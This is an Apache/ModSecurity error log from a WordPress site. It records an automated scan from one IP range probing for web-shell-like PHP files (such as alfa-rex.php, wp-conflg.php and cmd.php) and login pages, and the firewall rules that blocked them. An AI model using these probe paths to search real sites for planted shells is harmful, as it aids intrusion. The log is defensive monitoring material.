[Wed Apr 15 05:16:23.535795 2026] [:error] [pid 45504:tid 45508] [client 45.131.195.250:20025] [client 45.131.195.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/html-api/index.php"] [unique_id "ad6up63iO9_fE_IQEMkb_AAAAQI"]
[Wed Apr 15 05:16:27.028306 2026] [:error] [pid 45504:tid 45506] [client 45.131.195.144:46327] [client 45.131.195.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/nav-menu.php"] [unique_id "ad6uq63iO9_fE_IQEMkcFwAAAQA"]
[Wed Apr 15 05:16:28.035147 2026] [:error] [pid 4065:tid 4087] [client 45.131.195.119:37583] [client 45.131.195.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/user.php"] [unique_id "ad6urAWArgJTHu2_6Oy9uAAAAAs"]
[Wed Apr 15 05:16:41.929210 2026] [:error] [pid 4065:tid 4080] [client 45.131.195.204:53963] [client 45.131.195.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/dist/script-modules/block-library/search/about.php"] [unique_id "ad6uuQWArgJTHu2_6Oy91wAAAAQ"]
[Wed Apr 15 05:16:42.909362 2026] [:error] [pid 45504:tid 45513] [client 45.131.195.171:25861] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-cropped-image-control.php"] [unique_id "ad6uuq3iO9_fE_IQEMkcTAAAAQc"]
[Wed Apr 15 05:16:43.879820 2026] [:error] [pid 4169:tid 4179] [client 45.131.195.197:38531] [client 45.131.195.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/ultra.php"] [unique_id "ad6uux15U5D-N99n_jJtwwAAAMc"]
[Wed Apr 15 05:16:46.566885 2026] [:error] [pid 4169:tid 4197] [client 45.131.195.151:64857] [client 45.131.195.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.151, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "ad6uvh15U5D-N99n_jJt0wAAANY"]
[Wed Apr 15 05:16:48.829751 2026] [:error] [pid 4169:tid 4183] [client 45.131.195.151:64857] [client 45.131.195.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/preferences/wp-login.php"] [unique_id "ad6uwB15U5D-N99n_jJt5gAAAMs"]
[Wed Apr 15 05:16:49.811623 2026] [:error] [pid 4066:tid 4113] [client 45.131.195.129:46165] [client 45.131.195.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/media-text/index.php"] [unique_id "ad6uwYC2YXfSPsC9O_BeoAAAAEk"]
[Wed Apr 15 05:16:50.919042 2026] [:error] [pid 45504:tid 45524] [client 45.131.195.251:43457] [client 45.131.195.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/phpmailer/phpmailer.php"] [unique_id "ad6uwq3iO9_fE_IQEMkccgAAARI"]
[Wed Apr 15 05:16:58.704088 2026] [:error] [pid 4169:tid 4189] [client 45.131.195.160:35721] [client 45.131.195.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/latest-comments/template-loader.php"] [unique_id "ad6uyh15U5D-N99n_jJuIgAAANA"]
[Wed Apr 15 05:17:08.397575 2026] [:error] [pid 4065:tid 4084] [client 45.131.195.161:20855] [client 45.131.195.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/nextpage/index.php"] [unique_id "ad6u1AWArgJTHu2_6Oy-AQAAAAg"]
[Wed Apr 15 05:17:10.425783 2026] [authz_core:error] [pid 4067:tid 4143] [client 45.131.195.166:54459] AH01630: client denied by server configuration: /home/rcacivils/public_html/wp-content/plugins/akismet/views/cmd.php
[Wed Apr 15 05:17:12.226409 2026] [:error] [pid 4067:tid 4134] [client 45.131.195.166:54459] [client 45.131.195.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/link-template-firewall.php"] [unique_id "ad6u2O5XHBJU8ZrRxZ0stgAAAIM"]
[Wed Apr 15 05:17:26.601311 2026] [:error] [pid 45504:tid 45527] [client 45.131.195.174:62107] [client 45.131.195.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "ad6u5q3iO9_fE_IQEMkc6QAAARU"]
[Wed Apr 15 05:17:27.619760 2026] [:error] [pid 4065:tid 4096] [client 45.131.195.179:38277] [client 45.131.195.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/src/Decode/HTML/sitemaps.php"] [unique_id "ad6u5wWArgJTHu2_6Oy-HAAAABQ"]
[Wed Apr 15 05:17:28.622484 2026] [:error] [pid 4169:tid 4180] [client 45.131.195.136:20263] [client 45.131.195.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/mer_gagal.php"] [unique_id "ad6u6B15U5D-N99n_jJuWAAAAMg"]
[Wed Apr 15 05:17:29.449831 2026] [:error] [pid 4065:tid 4099] [client 45.131.195.116:48135] [client 45.131.195.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/html-api/wp-login.php"] [unique_id "ad6u6QWArgJTHu2_6Oy-IgAAABc"]
[Wed Apr 15 05:17:34.233294 2026] [:error] [pid 4066:tid 4109] [client 45.131.195.115:64767] [client 45.131.195.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/alfa-rex.php"] [unique_id "ad6u7oC2YXfSPsC9O_Be2AAAAEU"]
[Wed Apr 15 05:17:35.282748 2026] [:error] [pid 45504:tid 45516] [client 45.131.195.145:30543] [client 45.131.195.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/Core32.php"] [unique_id "ad6u763iO9_fE_IQEMkdAQAAAQo"]
[Wed Apr 15 05:17:42.012764 2026] [:error] [pid 45504:tid 45527] [client 45.131.195.175:54629] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/wp-conflg.php"] [unique_id "ad6u9q3iO9_fE_IQEMkdFgAAARU"]
[Wed Apr 15 05:17:47.786689 2026] [:error] [pid 45504:tid 45526] [client 45.131.195.204:50589] [client 45.131.195.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/wordpress/images/index.php"] [unique_id "ad6u-63iO9_fE_IQEMkdJAAAARQ"]
[Wed Apr 15 05:17:48.747956 2026] [:error] [pid 4067:tid 4134] [client 45.131.195.166:35129] [client 45.131.195.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/library/index.php"] [unique_id "ad6u_O5XHBJU8ZrRxZ0s6wAAAIM"]
[Wed Apr 15 05:17:51.524804 2026] [autoindex:error] [pid 45504:tid 45523] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:17:54.017784 2026] [autoindex:error] [pid 45504:tid 45529] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:00.824685 2026] [autoindex:error] [pid 45504:tid 45518] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:02.233381 2026] [autoindex:error] [pid 45504:tid 45507] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:05.930731 2026] [autoindex:error] [pid 45504:tid 45513] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:06.213883 2026] [autoindex:error] [pid 45504:tid 45516] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:06.432297 2026] [autoindex:error] [pid 45504:tid 45522] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:09.038432 2026] [autoindex:error] [pid 45504:tid 45510] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:09.313177 2026] [autoindex:error] [pid 45504:tid 45513] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:10.556032 2026] [autoindex:error] [pid 45504:tid 45519] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:10.773031 2026] [autoindex:error] [pid 45504:tid 45528] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:11.009067 2026] [autoindex:error] [pid 45504:tid 45524] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:11.501309 2026] [autoindex:error] [pid 45504:tid 45512] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:11.871937 2026] [autoindex:error] [pid 45504:tid 45530] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:12.091764 2026] [autoindex:error] [pid 45504:tid 45518] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:15.629578 2026] [autoindex:error] [pid 45504:tid 45521] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:15.864750 2026] [autoindex:error] [pid 45504:tid 45514] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:16.121885 2026] [autoindex:error] [pid 45504:tid 45507] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:16.342286 2026] [autoindex:error] [pid 45504:tid 45511] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:16.564208 2026] [autoindex:error] [pid 45504:tid 45516] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:16.823300 2026] [autoindex:error] [pid 45504:tid 45513] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:18.088688 2026] [autoindex:error] [pid 45504:tid 45511] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:18.306553 2026] [autoindex:error] [pid 45504:tid 45526] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:22.452175 2026] [autoindex:error] [pid 45504:tid 45523] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:24.810668 2026] [autoindex:error] [pid 45504:tid 45514] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:25.267226 2026] [autoindex:error] [pid 45504:tid 45523] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:28.728586 2026] [autoindex:error] [pid 45504:tid 45512] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:28.979142 2026] [autoindex:error] [pid 45504:tid 45522] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:32.504035 2026] [autoindex:error] [pid 45504:tid 45519] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:33.833062 2026] [autoindex:error] [pid 45504:tid 45520] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:35.151812 2026] [autoindex:error] [pid 45504:tid 45517] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:36.516867 2026] [autoindex:error] [pid 45504:tid 45523] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:36.753861 2026] [autoindex:error] [pid 45504:tid 45506] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
